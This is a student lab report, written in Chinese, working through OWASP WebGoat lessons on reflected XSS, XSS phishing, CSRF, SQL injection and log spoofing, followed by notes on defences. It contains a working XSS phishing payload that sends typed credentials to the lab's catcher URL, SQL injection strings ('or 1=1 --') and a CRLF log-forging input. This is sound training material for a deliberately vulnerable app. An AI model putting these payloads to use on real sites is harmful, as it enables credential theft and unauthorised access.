2018-2019-2 网络对抗技术 20165319 Exp 9 Web安全基础
实践过程记录
WebGoat准备工作
下载webgoat-container-7.0.1-war-exec.jar文件
下载地址为:https://github.com/WebGoat/WebGoat/releases ,在最下面的“The OWASP WebGoat 7.0.1 Release”中,选择webgoat-container-7.0.1-war-exec.jar文件进行下载
终止占用8080端口的其他进程
因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
需要在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar
如果使用的是其他版本的WebGoat,这个语句要根据文件名进行修改,例如:java -jar webgoat-server-8.0.0.M14.jar
在浏览器中输入“http://localhost:8080/WebGoat”进入WebGoat登录界面
果是7.0.1版本的WebGoat直接用默认用户名密码登录即可;
XSS攻击
反射型XSS:
我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,
如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS.
别人可能修改这个value值,然后将这个恶意的URL发送给你,当URL地址被打开时,
特有的恶意代码参数就会被HTML解析执行.
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
存储型XSS与反射型XSS的区别:
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
①打开xss的第三个攻击Reflected XSS Attacks
②在“Enter your three digit access code:”中输入点击Purchase,成功显示警告框,内容为我们script脚本指定的内容:
Phishing with XSS 跨站脚本钓鱼攻击
在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
一个带用户名和密码输入框的表格如下:
在XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单
现在我们需要一段脚本:
这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
将上面两段代码合并搜索
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。
CSRF攻击
CSRF攻击介绍:
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
目标:这次攻击向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
① 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)
②查看页面下方Parameters中的src和menu值,分别为280和900。
③在message框中输入,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
宽高设置成1像素的目的是隐藏该图片
④提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
如图所示,攻击成功
SRF Prompt By-Pass
① 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass
②同攻击4,查看页面下侧Parameters中的src和menu值(268和900),并在title框中输入学号,message框中输入代码:
④在Message List中生成以Title命名的链接"5"。⑤点击进入后,如图攻击成功:
SQL注入攻击
Numeric SQL Injection:
要求注入字符串然后可以访问所有的天气情况:
这里修改一下网页源代码就好了,随便选个城市然后修改他的value值,添加or 1=1 即可;
String SQL Injection:
要求作为smitn然后查看所有的信用卡信息:
输入or 1=1 --
--是注释掉后面的代码。
Log Spoofing
题目意思:利用日志的格式,使用换行等字符,欺骗管理员。可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,例如在User Name文本框中输入hgy%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:
点击Purchase:
基础问题回答
1.SQL注入攻击原理,如何防御
原理:通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中
的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。
防御办法:
可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入
作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
2.XSS攻击的原理,如何防御?
在表单提交或者url参数传递前,对需要的参数进行过滤;
检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。
3.CSRF攻击原理,如何防御?
原理:一般人A在登陆后,在自己的主机页面点击的各类请求都是以A的名义发送的,即A有A的权限;攻击者B在网页注入一个恶意的CSRF攻击URL地址,在A点击后,B借用A的身份进行非法操作,即B有了A的权限
防御:1.cookie的保存时间不宜过长;2.服务器要求用户输入相对应的验证码;3.服务器尽量在表单中使用post方法
实验感想
最后一次实验也圆满完成了。这门课非常有趣,虽然实验每周都有deadline的感觉,不过最后还是很喜欢这些东西。